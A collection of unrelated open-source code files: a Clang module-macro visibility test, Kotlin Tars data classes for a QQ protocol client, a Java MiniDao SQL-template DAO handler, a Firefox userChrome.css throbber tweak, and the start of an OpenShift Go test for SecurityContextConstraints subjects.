#if __building_module(macros)
# error Not building a module
#endif
// None of the modules we depend on have been imported, and therefore
// their macros should not be visible.
#ifdef LEFT
# error LEFT should not be visible
#endif
#ifdef RIGHT
# error RIGHT should not be visible
#endif
#ifdef TOP
# error TOP should not be visible
#endif
#undef INTEGER
#define INTEGER int
// Import left module (which also imports top)
@import macros_left;
INTEGER my_integer = 0;
#ifndef LEFT
# error LEFT should be visible
#endif
#ifdef RIGHT
# error RIGHT should not be visible
#endif
#ifndef TOP
# error TOP should be visible
#endif
#ifdef TOP_LEFT_UNDEF
# error TOP_LEFT_UNDEF should not be defined
#endif
void test1() {
int i;
TOP_RIGHT_REDEF *ip = &i;
}
#define LEFT_RIGHT_DIFFERENT2 double // FIXME: expected-warning{{'LEFT_RIGHT_DIFFERENT2' macro redefined}} \
// expected-note{{other definition of 'LEFT_RIGHT_DIFFERENT2'}}
// Import right module (which also imports top)
@import macros_right;
#undef LEFT_RIGHT_DIFFERENT3
#ifndef LEFT
# error LEFT should be visible
#endif
#ifndef RIGHT
# error RIGHT should be visible
#endif
#ifndef TOP
# error TOP should be visible
#endif
void test2() {
int i;
float f;
double d;
TOP_RIGHT_REDEF *fp = &f; // ok, right's definition overrides top's definition
LEFT_RIGHT_IDENTICAL *ip = &i;
LEFT_RIGHT_DIFFERENT *ip2 = &i; // expected-warning{{ambiguous expansion of macro 'LEFT_RIGHT_DIFFERENT'}}
LEFT_RIGHT_DIFFERENT2 *ip3 = &i; // expected-warning{{ambiguous expansion of macro 'LEFT_RIGHT_DIFFERENT2}}
int LEFT_RIGHT_DIFFERENT3;
}
#define LEFT_RIGHT_DIFFERENT double // FIXME: expected-warning{{'LEFT_RIGHT_DIFFERENT' macro redefined}}
void test3() {
double d;
LEFT_RIGHT_DIFFERENT *dp = &d; // okay
int x = FN_ADD(1,2);
}
#ifndef TOP_RIGHT_UNDEF
# error TOP_RIGHT_UNDEF should still be defined
#endif
@import macros_bottom;
TOP_DEF_RIGHT_UNDEF *TDRUf() { return TDRUp; }
@import macros_right.undef;
int TOP_DEF_RIGHT_UNDEF; // ok, no longer defined
#ifdef LOCAL_VISIBILITY
// TOP_RIGHT_UNDEF should not be undefined, because macros_right.undef does
// not undefine macros_right's macro.
# ifndef TOP_RIGHT_UNDEF
# error TOP_RIGHT_UNDEF should still be defined
# endif
#else
// When macros_right.undef is built and local submodule visibility is not
// enabled, macros_top is visible because the state from building
// macros_right leaks through, so macros_right.undef undefines macros_top's
// macro.
# ifdef TOP_RIGHT_UNDEF
# error TOP_RIGHT_UNDEF should not be defined
# endif
#endif
#ifdef ALT
int tmp = TOP_OTHER_REDEF1;
#endif
@import macros_other;
#ifndef TOP_OTHER_UNDEF1
# error TOP_OTHER_UNDEF1 should still be defined
#endif
#ifndef TOP_OTHER_UNDEF2
# error TOP_OTHER_UNDEF2 should still be defined
#endif
#pragma clang __debug macro TOP_OTHER_REDEF1
#ifndef TOP_OTHER_REDEF1
# error TOP_OTHER_REDEF1 should still be defined
#endif
int n1 = TOP_OTHER_REDEF1; // expected-warning{{ambiguous expansion of macro 'TOP_OTHER_REDEF1'}}
// expected-note@macros_other.h:4 {{expanding this definition}}
// expected-note@macros_top.h:19 {{other definition}}
#ifndef TOP_OTHER_REDEF2
# error TOP_OTHER_REDEF2 should still be defined
#endif
int n2 = TOP_OTHER_REDEF2; // ok
int n3 = TOP_OTHER_DEF_RIGHT_UNDEF; // ok
|
{
"pile_set_name": "Github"
}
|
package net.mamoe.mirai.qqandroid.network.protocol.data.jce
import kotlinx.serialization.Serializable
import net.mamoe.mirai.qqandroid.network.Packet
import net.mamoe.mirai.qqandroid.network.protocol.packet.EMPTY_BYTE_ARRAY
import net.mamoe.mirai.qqandroid.utils.io.JceStruct
import net.mamoe.mirai.qqandroid.utils.io.serialization.tars.TarsId
import kotlin.jvm.JvmField
@Suppress("ArrayInDataClass")
@Serializable
internal class RequestPushNotify(
@TarsId(0) @JvmField val uin: Long? = 0L,
@TarsId(1) @JvmField val ctype: Byte = 0,
@TarsId(2) @JvmField val strService: String?,
@TarsId(3) @JvmField val strCmd: String?,
@TarsId(4) @JvmField val vNotifyCookie: ByteArray? = EMPTY_BYTE_ARRAY,
@TarsId(5) @JvmField val usMsgType: Int?,
@TarsId(6) @JvmField val wUserActive: Int?,
@TarsId(7) @JvmField val wGeneralFlag: Int?,
@TarsId(8) @JvmField val bindedUin: Long?,
@TarsId(9) @JvmField val stMsgInfo: MsgInfo?,
@TarsId(10) @JvmField val msgCtrlBuf: String?,
@TarsId(11) @JvmField val serverBuf: ByteArray?,
@TarsId(12) @JvmField val pingFlag: Long?,
@TarsId(13) @JvmField val svrip: Int?
) : JceStruct, Packet
@Serializable
internal class MsgInfo(
@TarsId(0) @JvmField val lFromUin: Long = 0L,
@TarsId(1) @JvmField val uMsgTime: Long = 0L,
@TarsId(2) @JvmField val shMsgType: Short,
@TarsId(3) @JvmField val shMsgSeq: Short,
@TarsId(4) @JvmField val strMsg: String?,
@TarsId(5) @JvmField val uRealMsgTime: Int?,
@TarsId(6) @JvmField val vMsg: ByteArray,
@TarsId(7) @JvmField val uAppShareID: Long?,
@TarsId(8) @JvmField val vMsgCookies: ByteArray? = EMPTY_BYTE_ARRAY,
@TarsId(9) @JvmField val vAppShareCookie: ByteArray? = EMPTY_BYTE_ARRAY,
@TarsId(10) @JvmField val lMsgUid: Long?,
@TarsId(11) @JvmField val lLastChangeTime: Long?,
@TarsId(12) @JvmField val vCPicInfo: List<CPicInfo>?,
@TarsId(13) @JvmField val stShareData: ShareData?,
@TarsId(14) @JvmField val lFromInstId: Long?,
@TarsId(15) @JvmField val vRemarkOfSender: ByteArray?,
@TarsId(16) @JvmField val strFromMobile: String?,
@TarsId(17) @JvmField val strFromName: String?,
@TarsId(18) @JvmField val vNickName: List<String>?//,
//@SerialId(19) @JvmField val stC2CTmpMsgHead: TempMsgHead?
) : JceStruct
@Serializable
internal class ShareData(
@TarsId(0) @JvmField val pkgname: String = "",
@TarsId(1) @JvmField val msgtail: String = "",
@TarsId(2) @JvmField val picurl: String = "",
@TarsId(3) @JvmField val url: String = ""
) : JceStruct
@Serializable
internal class TempMsgHead(
@TarsId(0) @JvmField val c2c_type: Int? = 0,
@TarsId(1) @JvmField val serviceType: Int? = 0
) : JceStruct
@Serializable
internal class CPicInfo(
@TarsId(0) @JvmField val vPath: ByteArray = EMPTY_BYTE_ARRAY,
@TarsId(1) @JvmField val vHost: ByteArray? = EMPTY_BYTE_ARRAY
) : JceStruct
|
{
"pile_set_name": "Github"
}
|
package org.jeecgframework.minidao.aop;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import ognl.Ognl;
import ognl.OgnlException;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.jeecgframework.minidao.annotation.Arguments;
import org.jeecgframework.minidao.annotation.IdAutoGenerator;
import org.jeecgframework.minidao.annotation.ResultType;
import org.jeecgframework.minidao.annotation.Sql;
import org.jeecgframework.minidao.aspect.EmptyInterceptor;
import org.jeecgframework.minidao.def.MiniDaoConstants;
import org.jeecgframework.minidao.pojo.MiniDaoPage;
import org.jeecgframework.minidao.spring.rowMapper.MiniColumnMapRowMapper;
import org.jeecgframework.minidao.spring.rowMapper.MiniColumnOriginalMapRowMapper;
import org.jeecgframework.minidao.util.FreemarkerParseFactory;
import org.jeecgframework.minidao.util.MiniDaoUtil;
import org.jeecgframework.minidao.util.ParameterNameUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.EmptyResultDataAccessException;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.ColumnMapRowMapper;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.core.namedparam.MapSqlParameterSource;
import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
import org.springframework.jdbc.support.GeneratedKeyHolder;
import org.springframework.jdbc.support.KeyHolder;
/**
*
* @Title:MiniDaoHandler
* @description:MiniDAO 拦截器
* @author 张代浩
* @mail zhangdaiscott@163.com
* @category www.jeecg.org
* @date 20130817
* @version V1.0
*/
@SuppressWarnings("rawtypes")
public class MiniDaoHandler implements InvocationHandler {
private static final Log logger = LogFactory.getLog(MiniDaoHandler.class);
@Autowired
private JdbcTemplate jdbcTemplate;
@Autowired
private NamedParameterJdbcTemplate namedParameterJdbcTemplate;
private String UPPER_KEY = "upper";
private String LOWER_KEY = "lower";
/**
* map的关键字类型 三个值
*/
private String keyType = "origin";
private boolean formatSql = false;
private boolean showSql = false;
private String dbType;
/**
* minidao拦截器
*/
private EmptyInterceptor emptyInterceptor;
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 返回结果
Object returnObj = null;
// SQL模板
String templateSql = null;
// SQL模板参数
Map<String, Object> sqlParamsMap = new HashMap<String, Object>();
// 分页参数
MiniDaoPage pageSetting = new MiniDaoPage();
// Step.0 判断是否是Hiber实体维护方法,如果是执行Hibernate方式实体维护
// Map<String, Object> rs = new HashMap<String, Object>();
// Step.1装载SQL模板,所需参数
templateSql = installDaoMetaData(pageSetting, method, sqlParamsMap, args);
// Step.3解析SQL模板,返回可执行SQL
String executeSql = parseSqlTemplate(method, templateSql, sqlParamsMap);
// Step.4 组装SQL占位符参数
Map<String, Object> sqlMap = installPlaceholderSqlParam(executeSql, sqlParamsMap);
// Step.5 获取SQL执行返回值
try {
returnObj = getReturnMinidaoResult(dbType, pageSetting, method, executeSql, sqlMap);
} catch (Exception e) {
returnObj = null;
if(e instanceof EmptyResultDataAccessException){
//数据查询为空,不抛出Spring异常
}else{
e.printStackTrace();
throw e;
}
}
if (showSql) {
//System.out.println("MiniDao-SQL:\n\n" + executeSql);
logger.info("MiniDao-SQL:\n\n" + executeSql);
}
return returnObj;
}
/**
* 判斷是否是執行的方法(非查詢)
*
* @param methodName
* @return
*/
private static boolean checkActiveKey(String methodName) {
String keys[] = MiniDaoConstants.INF_METHOD_ACTIVE.split(",");
for (String s : keys) {
if (methodName.startsWith(s))
return true;
}
return false;
}
/**
* 判斷SQL是否(非查詢)
*
* @param methodName
* @return
*/
private static boolean checkActiveSql(String sql) {
sql = sql.trim().toLowerCase();
String keys[] = MiniDaoConstants.INF_METHOD_ACTIVE.split(",");
for (String s : keys) {
if (sql.startsWith(s))
return true;
}
return false;
}
/**
* 判斷是否批處理
*
* @param methodName
* @return
*/
private static boolean checkBatchKey(String methodName) {
String keys[] = MiniDaoConstants.INF_METHOD_BATCH.split(",");
for (String s : keys) {
if (methodName.startsWith(s))
return true;
}
return false;
}
/**
* 把批量处理的结果拼接起来
*
* @Author JueYue
* @date 2013-11-17
*/
private void addResulArray(int[] result, int index, int[] arr) {
int length = arr.length;
for (int i = 0; i < length; i++) {
result[index - length + i] = arr[i];
}
}
/**
* 批处理
*
* @Author JueYue
* @date 2013-11-17
* @return
*/
private int[] batchUpdate(String executeSql) {
String[] sqls = executeSql.split(";");
if (sqls.length < 100) {
return jdbcTemplate.batchUpdate(sqls);
}
int[] result = new int[sqls.length];
List<String> sqlList = new ArrayList<String>();
for (int i = 0; i < sqls.length; i++) {
sqlList.add(sqls[i]);
if (i % 100 == 0) {
addResulArray(result, i + 1, jdbcTemplate.batchUpdate(sqlList.toArray(new String[0])));
sqlList.clear();
}
}
addResulArray(result, sqls.length, jdbcTemplate.batchUpdate(sqlList.toArray(new String[0])));
return result;
}
/**
* 根据参数设置map的key大小写
**/
private RowMapper<Map<String, Object>> getColumnMapRowMapper() {
if (getKeyType().equalsIgnoreCase(LOWER_KEY)) {
return new MiniColumnMapRowMapper();
} else if (getKeyType().equalsIgnoreCase(UPPER_KEY)) {
return new ColumnMapRowMapper();
} else {
return new MiniColumnOriginalMapRowMapper();
}
}
/**
* 获取总数sql - 如果要支持其他数据库,修改这里就可以
*
* @param sql
* @return
*/
private String getCountSql(String sql) {
//update-begin---author:scott----date:20170803------for:分页count去掉排序,兼容SqlServer,同时提高效率--------
sql = removeOrderBy(sql);
//update-end---author:scott----date:20170803------for:分页count去掉排序,兼容SqlServer,同时提高效率--------
return "select count(0) from (" + sql + ") tmp_count";
}
/**
* 去除子查询中的order by (特别是SQLServer)
* @param sql
* @return
*/
public String removeOrderBy(String sql) {
if(sql==null){
return null;
}
sql = sql.replaceAll("(?i)order by [\\s|\\S]+$", "");
return sql;
}
public String getDbType() {
return dbType;
}
public JdbcTemplate getJdbcTemplate() {
return jdbcTemplate;
}
public String getKeyType() {
return keyType;
}
public NamedParameterJdbcTemplate getNamedParameterJdbcTemplate() {
return namedParameterJdbcTemplate;
}
/**
* 获取MiniDao处理结果集
*
* @param dbType
* @param pageSetting
* @param jdbcTemplate
* @param method
* @param executeSql
* @return 结果集
*/
@SuppressWarnings("unchecked")
private Object getReturnMinidaoResult(String dbType, MiniDaoPage pageSetting, Method method, String executeSql, Map<String, Object> paramMap) {
// step.4.调用SpringJdbc引擎,执行SQL返回值
// 5.1获取返回值类型[Map/Object/List<Object>/List<Map>/基本类型]
String methodName = method.getName();
//update-begin---author:scott----date:20160906------for:增加通过sql判断是否非查询操作--------
// 判斷是否非查詢方法
if (checkActiveKey(methodName) || checkActiveSql(executeSql)) {
//update-end---author:scott----date:20160906------for:增加通过sql判断是否非查询操作--------
//update-begin---author:scott----date:20180104------for:支持ID自增策略生成并返回主键ID--------
boolean idGenerators_flag = method.isAnnotationPresent(IdAutoGenerator.class);
if (idGenerators_flag) {
KeyHolder keyHolder = new GeneratedKeyHolder();
if (paramMap != null) {
MapSqlParameterSource paramSource = new MapSqlParameterSource(paramMap);
namedParameterJdbcTemplate.update(executeSql, paramSource,keyHolder,new String[]{"id"});
return keyHolder.getKey().intValue();
} else {
jdbcTemplate.update(executeSql,keyHolder);
return keyHolder.getKey().intValue();
}
}else{
if (paramMap != null) {
return namedParameterJdbcTemplate.update(executeSql, paramMap);
} else {
return jdbcTemplate.update(executeSql);
}
}
//update-end---author:scott----date:20180104------for:支持ID自增策略生成并返回主键ID--------
} else if (checkBatchKey(methodName)) {
return batchUpdate(executeSql);
} else {
// 如果是查詢操作
Class<?> returnType = method.getReturnType();
if (returnType.isPrimitive()) {
//update-begin---author:scott----date:20160906------for:修复非包装类型,无法传参数问题--------
Number number = namedParameterJdbcTemplate.queryForObject(executeSql, paramMap, BigDecimal.class);
//jdbcTemplate.queryForObject(executeSql, BigDecimal.class);
//update-begin---author:scott----date:20160906------for:修复非包装类型,无法传参数问题--------
if ("int".equals(returnType.getCanonicalName())) {
return number.intValue();
} else if ("long".equals(returnType.getCanonicalName())) {
return number.longValue();
} else if ("double".equals(returnType.getCanonicalName())) {
return number.doubleValue();
}
} else if (returnType.isAssignableFrom(List.class) || returnType.isAssignableFrom(MiniDaoPage.class)) {
int page = pageSetting.getPage();
int rows = pageSetting.getRows();
if (page != 0 && rows != 0) {
if (returnType.isAssignableFrom(MiniDaoPage.class)) {
if (paramMap != null) {
pageSetting.setTotal(namedParameterJdbcTemplate.queryForObject(getCountSql(executeSql), paramMap, Integer.class));
} else {
pageSetting.setTotal(jdbcTemplate.queryForObject(getCountSql(executeSql), Integer.class));
}
}
executeSql = MiniDaoUtil.createPageSql(dbType, executeSql, page, rows);
}
RowMapper resultType = getListRealType(method);
List list;
if (paramMap != null) {
list = namedParameterJdbcTemplate.query(executeSql, paramMap, resultType);
} else {
list = jdbcTemplate.query(executeSql, resultType);
}
if (returnType.isAssignableFrom(MiniDaoPage.class)) {
pageSetting.setResults(list);
return pageSetting;
} else {
return list;
}
} else if (returnType.isAssignableFrom(Map.class)) {
// Map类型
if (paramMap != null) {
return namedParameterJdbcTemplate.queryForObject(executeSql, paramMap, getColumnMapRowMapper());
} else {
return jdbcTemplate.queryForObject(executeSql, getColumnMapRowMapper());
}
} else if (returnType.isAssignableFrom(String.class)) {
if (paramMap != null) {
return namedParameterJdbcTemplate.queryForObject(executeSql, paramMap, String.class);
} else {
return jdbcTemplate.queryForObject(executeSql, String.class);
}
} else if (MiniDaoUtil.isWrapClass(returnType)) {
if (paramMap != null) {
return namedParameterJdbcTemplate.queryForObject(executeSql, paramMap, returnType);
} else {
return jdbcTemplate.queryForObject(executeSql, returnType);
}
} else {
//---update-begin--author:scott---date:20160909----for:支持spring4---------
// 对象类型
RowMapper<?> rm = BeanPropertyRowMapper.newInstance(returnType);
//RowMapper<?> rm = ParameterizedBeanPropertyRowMapper.newInstance(returnType);
//---update-end--author:scott---date:20160909----for:支持spring4---------
if (paramMap != null) {
return namedParameterJdbcTemplate.queryForObject(executeSql, paramMap, rm);
} else {
return jdbcTemplate.queryForObject(executeSql, rm);
}
}
}
return null;
}
/**
* 获取真正的类型
*
* @param genericReturnType
* @param rowMapper
* @return
*/
private RowMapper<?> getListRealType(Method method) {
ResultType resultType = method.getAnnotation(ResultType.class);
if (resultType != null) {
if (resultType.value().equals(Map.class)) {
return getColumnMapRowMapper();
}
//---update-begin--author:scott---date:20160909----for:支持spring4---------
return BeanPropertyRowMapper.newInstance(resultType.value());
//---update-end--author:scott---date:20160909----for:支持spring4---------
}
String genericReturnType = method.getGenericReturnType().toString();
String realType = genericReturnType.replace("java.util.List", "").replace("<", "").replace(">", "");
if (realType.contains("java.util.Map")) {
return getColumnMapRowMapper();
} else if (realType.length() > 0) {
try {
//---update-begin--author:scott---date:20160909----for:支持spring4---------
return BeanPropertyRowMapper.newInstance(Class.forName(realType));
//---update-end--author:scott---date:20160909----for:支持spring4---------
} catch (ClassNotFoundException e) {
logger.error(e.getMessage(), e.fillInStackTrace());
throw new RuntimeException("minidao get class error ,class name is:" + realType);
}
}
return getColumnMapRowMapper();
}
/**
* 装载SQL模板参数
*
* @param pageSetting
*
* @param method
* @param sqlParamsMap
* 返回(装载模板参数)
* @param args
* @return templateSql(@SQL标签的SQL)
* @throws Exception
*/
private String installDaoMetaData(MiniDaoPage pageSetting, Method method, Map<String, Object> sqlParamsMap, Object[] args) throws Exception {
//update-begin---author:scott----date:20160511------for:minidao拦截器逻辑--------
//System.out.println(" -- methodName -- "+ methodName );
if(emptyInterceptor!=null && args!= null && args.length==1){
String methodName = method.getName();
Object obj = args[0];
Field[] fields = obj.getClass().getDeclaredFields();
if(methodName.startsWith("insert")){
if(emptyInterceptor!=null){
emptyInterceptor.onInsert(fields, obj);
}
}
if(methodName.startsWith("update")){
if(emptyInterceptor!=null){
emptyInterceptor.onUpdate(fields, obj);
}
}
//reflect(obj);
}
//update-begin---author:scott----date:20160511------for:minidao拦截器逻辑--------
String templateSql = null;
// 如果方法参数大于1个的话,方法必须使用注释标签Arguments
boolean arguments_flag = method.isAnnotationPresent(Arguments.class);
if (arguments_flag) {
// [1].获取方法的参数标签
Arguments arguments = method.getAnnotation(Arguments.class);
logger.debug("@Arguments------------------------------------------" + Arrays.toString(arguments.value()));
if (arguments.value().length != args.length) {
// 校验机制-如果注释标签参数数目大于方法的参数,则抛出异常
throw new Exception("注释标签@Arguments参数数目,与方法参数数目不相等~");
}
// step.2.将args转换成键值对,封装成Map对象
int args_num = 0;
for (String v : arguments.value()) {
// update-begin--Author:fancq Date:20140102 for:支持多数据分页
if (v.equalsIgnoreCase("page")) {
pageSetting.setPage(Integer.parseInt(args[args_num].toString()));
}
if (v.equalsIgnoreCase("rows")) {
pageSetting.setRows(Integer.parseInt(args[args_num].toString()));
}
// update-end--Author:fancq Date:20140102 for:支持多数据分页
sqlParamsMap.put(v, args[args_num]);
args_num++;
}
} else {
// 如果未使用[参数标签]
if (args != null && args.length >= 1) {
//---update-begin----author:scott-----date:20160302-----for:支持新参数注解写法--------------
String[] params = ParameterNameUtils.getMethodParameterNamesByAnnotation(method);
if(params==null || params.length==0){
throw new Exception("方法参数数目>=2,必须使用:方法标签@Arguments 或 参数标签@param");
}
if (params.length != args.length) {
throw new Exception("方法参数数目>=2,参数必须使用:标签@param");
}
int args_num = 0;
for (String v : params) {
if(v==null){
throw new Exception("Dao接口定义,所有参数必须使用@param标签~");
}
if (v.equalsIgnoreCase("page")) {
pageSetting.setPage(Integer.parseInt(args[args_num].toString()));
}
if (v.equalsIgnoreCase("rows")) {
pageSetting.setRows(Integer.parseInt(args[args_num].toString()));
}
sqlParamsMap.put(v, args[args_num]);
args_num++;
}
//---update-end----author:scott-----date:20160302-----for:支持新参数注解写法--------------
} else if (args != null && args.length == 1) {
// step.2.将args转换成键值对,封装成Map对象
sqlParamsMap.put(MiniDaoConstants.SQL_FTL_DTO, args[0]);
}
}
// [2].获取方法的SQL标签
if (method.isAnnotationPresent(Sql.class)) {
Sql sql = method.getAnnotation(Sql.class);
// 如果用户采用自定义标签SQL,则SQL文件无效
if (StringUtils.isNotEmpty(sql.value())) {
templateSql = sql.value();
}
logger.debug("@Sql------------------------------------------" + sql.value());
}
return templateSql;
}
/**
* 组装占位符参数 -> Map
*
* @param executeSql
* @return
* @throws OgnlException
*/
private Map<String, Object> installPlaceholderSqlParam(String executeSql, Map sqlParamsMap) throws OgnlException {
Map<String, Object> map = new HashMap<String, Object>();
//update-begin---author:scott----date:20160906------for:参数不支持下划线解决--------
String regEx = ":[ tnx0Bfr]*[0-9a-z.A-Z_]+"; // 表示以:开头,[0-9或者.或者A-Z大小都写]的任意字符,超过一个
//update-begin---author:scott----date:20160906------for:参数不支持下划线解决--------
Pattern pat = Pattern.compile(regEx);
Matcher m = pat.matcher(executeSql);
while (m.find()) {
logger.debug(" Match [" + m.group() + "] at positions " + m.start() + "-" + (m.end() - 1));
String ognl_key = m.group().replace(":", "").trim();
logger.debug(" --- minidao --- 解析参数 --- " + ognl_key);
map.put(ognl_key, Ognl.getValue(ognl_key, sqlParamsMap));
}
return map;
}
public boolean isFormatSql() {
return formatSql;
}
/**
* 解析SQL模板
*
* @param method
* @param templateSql
* @param sqlParamsMap
* @return 可执行SQL
* @throws Exception
*/
private String parseSqlTemplate(Method method, String templateSql, Map<String, Object> sqlParamsMap) throws Exception {
// step.1.根据命名规范[接口名_方法名.sql],获取SQL模板文件的路径
String executeSql = null;
// step.2.获取SQL模板内容
// step.3.通过模板引擎给SQL模板装载参数,解析生成可执行SQL
if (StringUtils.isNotEmpty(templateSql)) {
executeSql = FreemarkerParseFactory.parseTemplateContent(templateSql, sqlParamsMap);
} else {
String sqlTempletPath = method.getDeclaringClass().getName().replace(".", "/").replace("/dao/", "/sql/") + "_" + method.getName() + ".sql";
if (!FreemarkerParseFactory.isExistTemplate(sqlTempletPath)) {
sqlTempletPath = method.getDeclaringClass().getName().replace(".", "/") + "_" + method.getName() + ".sql";
}
logger.debug("MiniDao-SQL-Path:" + sqlTempletPath);
executeSql = FreemarkerParseFactory.parseTemplate(sqlTempletPath, sqlParamsMap);
}
return executeSql;
}
//update-begin--Author:luobaoli Date:20150710 for:增加存储过程入参解析方法
/**
* 将解析参数的代码单独抽取出来
* @param method
* @param args
* @return
* @throws Exception
*/
public List<Object> procedureParamsList(Method method,Object[] args) throws Exception{
List<Object> procedureParamsList = new ArrayList<Object>();
//如果方法参数大于1个的话,方法必须使用注释标签Arguments
boolean arguments_flag = method.isAnnotationPresent(Arguments.class);
if(arguments_flag){
//[1].获取方法的参数标签
Arguments arguments = method.getAnnotation(Arguments.class);
logger.debug("@Arguments------------------------------------------"+Arrays.toString(arguments.value()));
if(arguments.value().length > args.length){
//校验机制-如果注释标签参数数目大于方法的参数,则抛出异常
throw new Exception("[注释标签]参数数目,不能大于[方法参数]参数数目");
}
// step.2.将args转换成键值对,封装成Map对象
for(int i=0;i<arguments.value().length;i++){
procedureParamsList.add(args[i]);
}
}else{
//System.out.println(StringUtils.join(args));
procedureParamsList = Arrays.asList(args);
}
return procedureParamsList;
}
//update-begin--Author:luobaoli Date:20150710 for:增加存储过程入参解析方法
public void setDbType(String dbType) {
this.dbType = dbType;
}
public void setFormatSql(boolean formatSql) {
this.formatSql = formatSql;
}
public void setJdbcTemplate(JdbcTemplate jdbcTemplate) {
this.jdbcTemplate = jdbcTemplate;
}
public void setKeyType(String keyType) {
this.keyType = keyType;
}
public void setShowSql(boolean showSql) {
this.showSql = showSql;
}
public EmptyInterceptor getEmptyInterceptor() {
return emptyInterceptor;
}
public void setEmptyInterceptor(EmptyInterceptor emptyInterceptor) {
this.emptyInterceptor = emptyInterceptor;
}
}
|
{
"pile_set_name": "Github"
}
|
/* Firefox Quantum userChrome.css tweaks ************************************************/
/* Github: https://github.com/aris-t2/customcssforfx ************************************/
/****************************************************************************************/
@media (prefers-reduced-motion: reduce) {
.tab-throbber[busy],
.tab-throbber[progress] {
width: 16px !important;
height: 16px !important;
animation: unset !important;
-moz-context-properties: unset !important;
fill: unset !important;
animation: unset !important;
opacity: unset !important;
animation: unset !important;
}
.tab-throbber[busy] {
background-image: url("./../../image/tabthrobber_fx56_connecting.png") !important;
}
.tab-throbber-fallback[busy] {
list-style-image: url("./../../image/tabthrobber_fx56_connecting.png") !important;
}
.tab-throbber[progress]{
background-image: url("./../../image/tabthrobber_loading-ubuntu.png") !important;
}
.tab-throbber-fallback[progress] {
list-style-image: url("./../../image/tabthrobber_loading-ubuntu.png") !important;
}
}
@media (prefers-reduced-motion: no-preference) {
.tab-throbber[busy]::before,
.tab-throbber[progress]::before {
width: 16px !important;
height: 16px !important;
animation: unset !important;
-moz-context-properties: unset !important;
fill: unset !important;
animation: unset !important;
opacity: unset !important;
animation: unset !important;
}
.tab-throbber[busy]::before {
background-image: url("./../../image/tabthrobber_fx56_connecting.png") !important;
}
.tab-throbber-fallback[busy] {
list-style-image: url("./../../image/tabthrobber_fx56_connecting.png") !important;
}
.tab-throbber[progress]::before{
background-image: url("./../../image/tabthrobber_loading-ubuntu.png") !important;
}
.tab-throbber-fallback[progress] {
list-style-image: url("./../../image/tabthrobber_loading-ubuntu.png") !important;
}
}
/**/
|
{
"pile_set_name": "Github"
}
|
package policy
import (
"bytes"
"reflect"
"testing"
"k8s.io/apimachinery/pkg/runtime"
clientgotesting "k8s.io/client-go/testing"
kapi "k8s.io/kubernetes/pkg/api"
authorizationapi "github.com/openshift/origin/pkg/authorization/apis/authorization"
securityapi "github.com/openshift/origin/pkg/security/apis/security"
securityfakeclient "github.com/openshift/origin/pkg/security/generated/internalclientset/fake"
)
func TestModifySCC(t *testing.T) {
tests := map[string]struct {
startingSCC *securityapi.SecurityContextConstraints
subjects []kapi.ObjectReference
expectedSCC *securityapi.SecurityContextConstraints
remove bool
}{
"add-user-to-empty": {
startingSCC: &securityapi.SecurityContextConstraints{},
subjects: []kapi.ObjectReference{{Name: "one", Kind: authorizationapi.UserKind}, {Name: "two", Kind: authorizationapi.UserKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Users: []string{"one", "two"}},
remove: false,
},
"add-user-to-existing": {
startingSCC: &securityapi.SecurityContextConstraints{Users: []string{"one"}},
subjects: []kapi.ObjectReference{{Name: "two", Kind: authorizationapi.UserKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Users: []string{"one", "two"}},
remove: false,
},
"add-user-to-existing-with-overlap": {
startingSCC: &securityapi.SecurityContextConstraints{Users: []string{"one"}},
subjects: []kapi.ObjectReference{{Name: "one", Kind: authorizationapi.UserKind}, {Name: "two", Kind: authorizationapi.UserKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Users: []string{"one", "two"}},
remove: false,
},
"add-sa-to-empty": {
startingSCC: &securityapi.SecurityContextConstraints{},
subjects: []kapi.ObjectReference{{Namespace: "a", Name: "one", Kind: authorizationapi.ServiceAccountKind}, {Namespace: "b", Name: "two", Kind: authorizationapi.ServiceAccountKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Users: []string{"system:serviceaccount:a:one", "system:serviceaccount:b:two"}},
remove: false,
},
"add-sa-to-existing": {
startingSCC: &securityapi.SecurityContextConstraints{Users: []string{"one"}},
subjects: []kapi.ObjectReference{{Namespace: "b", Name: "two", Kind: authorizationapi.ServiceAccountKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Users: []string{"one", "system:serviceaccount:b:two"}},
remove: false,
},
"add-sa-to-existing-with-overlap": {
startingSCC: &securityapi.SecurityContextConstraints{Users: []string{"system:serviceaccount:a:one"}},
subjects: []kapi.ObjectReference{{Namespace: "a", Name: "one", Kind: authorizationapi.ServiceAccountKind}, {Namespace: "b", Name: "two", Kind: authorizationapi.ServiceAccountKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Users: []string{"system:serviceaccount:a:one", "system:serviceaccount:b:two"}},
remove: false,
},
"add-group-to-empty": {
startingSCC: &securityapi.SecurityContextConstraints{},
subjects: []kapi.ObjectReference{{Name: "one", Kind: authorizationapi.GroupKind}, {Name: "two", Kind: authorizationapi.GroupKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Groups: []string{"one", "two"}},
remove: false,
},
"add-group-to-existing": {
startingSCC: &securityapi.SecurityContextConstraints{Groups: []string{"one"}},
subjects: []kapi.ObjectReference{{Name: "two", Kind: authorizationapi.GroupKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Groups: []string{"one", "two"}},
remove: false,
},
"add-group-to-existing-with-overlap": {
startingSCC: &securityapi.SecurityContextConstraints{Groups: []string{"one"}},
subjects: []kapi.ObjectReference{{Name: "one", Kind: authorizationapi.GroupKind}, {Name: "two", Kind: authorizationapi.GroupKind}},
expectedSCC: &securityapi.SecurityContextConstraints{Groups: []string{"one", "two"}},
remove: false,
},
"remove-user": {
startingSCC: &securityapi.SecurityContextConstraints{Users: []string{"one", "two"}},
